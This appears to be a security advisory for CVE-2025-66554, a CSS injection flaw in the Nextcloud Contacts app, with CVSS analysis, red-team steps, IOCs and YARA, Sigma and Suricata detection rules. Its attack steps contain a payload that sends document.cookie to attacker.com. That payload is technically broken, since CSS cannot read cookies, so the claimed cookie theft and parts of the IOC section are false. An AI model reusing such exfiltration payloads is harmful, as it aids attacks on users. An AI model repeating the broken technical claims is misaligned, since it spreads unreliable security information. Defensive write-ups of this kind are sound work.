CVE-2025-66554

Executive Summary

CVE-2025-66554 is a stored Cross-Site Scripting (XSS) vulnerability in the Nextcloud Contacts app. A malicious authenticated user can inject arbitrary CSS into the "organisation" or "title" fields of their contact profile. While JavaScript execution is blocked by Nextcloud's Content Security Policy (CSP), the injected CSS can be used to exfiltrate data, deface pages, or perform other CSS-based attacks. The vulnerability affects versions prior to 5.5.4, 6.0.6, and 7.2.5. The CVSS score is 3.5 (Low), and the EPSS probability is 0.0%, indicating a very low likelihood of exploitation in the wild. No public proof-of-concept or exploit code is available.

Supply Chain & Package Security

This vulnerability is in the Nextcloud Contacts app, which is a first-party application distributed through the Nextcloud App Store. The app is written in PHP and JavaScript. The supply chain risk is low as the app is maintained by Nextcloud themselves. However, administrators should ensure they are using the official app store and verify integrity via checksums if available.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker must be an authenticated user.
• User Interaction (UI): Required (R) - A victim user must view the attacker's contact card.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): None (N) - No direct data disclosure.
• Integrity (I): Low (L) - CSS injection can modify the appearance of the page.
• Availability (A): None (N) - No impact on availability.

Threat Level: Low. The attack requires authentication and user interaction, and the impact is limited to CSS injection. However, in a shared environment, this could be used for phishing or defacement.

Deep Dive & Mechanics

The Nextcloud Contacts app allows users to store contact information, including "organisation" and "title" fields. The vulnerability arises because these fields are not properly sanitized before being rendered in the user interface. An attacker can input CSS code (e.g., <style>body { background: url('http://attacker.com/steal?cookie=' + document.cookie); }</style>) into these fields. When another user views the attacker's contact card, the CSS is executed in the context of the victim's browser.

Why JavaScript is blocked: Nextcloud implements a strict Content Security Policy (CSP) that prevents inline JavaScript execution. However, CSS is not blocked by the CSP, allowing the attacker to inject arbitrary styles. This can be used for:

• Data exfiltration: Using CSS to send data to an attacker-controlled server via background: url() or @import.
• Defacement: Changing the appearance of the page to display misleading information.
• Phishing: Overlaying fake login forms on top of legitimate elements.

Attack Flow:

1. Attacker logs into Nextcloud.
2. Attacker creates or edits a contact, setting the "organisation" or "title" field to a malicious CSS payload.
3. Victim views the attacker's contact card (e.g., by searching for the contact or clicking on a shared link).
4. The malicious CSS is rendered in the victim's browser, potentially exfiltrating data or altering the page.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely outputs the organisation and title fields directly into the HTML without proper escaping. For example:

<div class="contact-organisation"><?php echo $contact->getOrganisation(); ?></div>

This would allow raw HTML/CSS to be injected.

Patched Code (Conceptual): The patched code uses proper output encoding to escape HTML entities. For example:

<div class="contact-organisation"><?php echo htmlspecialchars($contact->getOrganisation(), ENT_QUOTES, 'UTF-8'); ?></div>

This ensures that any <, >, ", ', and & characters are converted to their HTML entity equivalents, preventing CSS injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A Nextcloud instance with the Contacts app installed (version < 5.5.4, < 6.0.6, or < 7.2.5).
• An authenticated user account.

Steps:

1. Log in to Nextcloud.
2. Navigate to the Contacts app.
3. Create a new contact or edit an existing one.
4. In the "Organisation" or "Title" field, enter a CSS payload. For example:

   <style>
   body {
       background: url('http://attacker.com/steal?data=' + document.cookie);
   }
   </style>
   

5. Save the contact.
6. Share the contact's link with the victim or wait for them to view it.

Expected Outcome: When the victim views the contact, the CSS will execute, sending their cookies to the attacker's server.

Blue Team (Defender)

Detection:

• Monitor for unusual CSS payloads in contact fields.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers that restrict CSS sources.

Prevention:

• Apply the patch by updating the Contacts app to version 5.5.4, 6.0.6, or 7.2.5.
• Use input validation to reject any HTML or CSS tags in contact fields.
• Enforce strict output encoding.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains from the Nextcloud server (CSS exfiltration).
  • Unusual User-Agent strings in requests.
• Host:
  • Log entries showing modification of contact fields with CSS payloads.
  • Presence of <style> tags in the oc_contacts database table.
• Application:
  • Contact cards displaying unexpected visual changes (e.g., altered background, hidden elements).

Detection Engineering

YARA Rule

rule Detect_CSS_Injection_Nextcloud_Contacts {
    meta:
        description = "Detects CSS injection attempts in Nextcloud Contacts app"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66554"
    strings:
        $css_payload = /<style[^>]*>.*?<\/style>/si
        $css_import = /@import\s*url\(/
        $css_background = /background\s*:\s*url\(/
    condition:
        any of them
}

Sigma Rule

title: Nextcloud Contacts CSS Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject CSS into Nextcloud Contacts fields
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66554
logsource:
    category: application
    product: nextcloud
detection:
    selection:
        EventID: 1000  # Example: Nextcloud audit log event for contact modification
        Data|contains:
            - '<style'
            - '@import'
            - 'background:url'
    condition: selection
falsepositives:
    - Legitimate use of CSS in contact fields (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66554 Nextcloud Contacts CSS Exfiltration"; flow:to_server,established; content:"background"; http_client_body; nocase; content:"url("; http_client_body; nocase; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the Nextcloud Contacts app to version 5.5.4, 6.0.6, or 7.2.5.
2. If updating is not possible, disable the Contacts app temporarily.
3. Review and restrict user permissions to prevent untrusted users from creating contacts.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with rules to block CSS injection.
• Enforce strict Content Security Policy (CSP) headers that limit CSS sources.
• Conduct regular security audits of third-party apps.
• Educate users about the risks of viewing contacts from untrusted sources.

Patch Details:

• Fixed in versions 5.5.4, 6.0.6, and 7.2.5.
• No official patch notes or advisory from Nextcloud are available.

Valters IT
Securing Digital Frontiers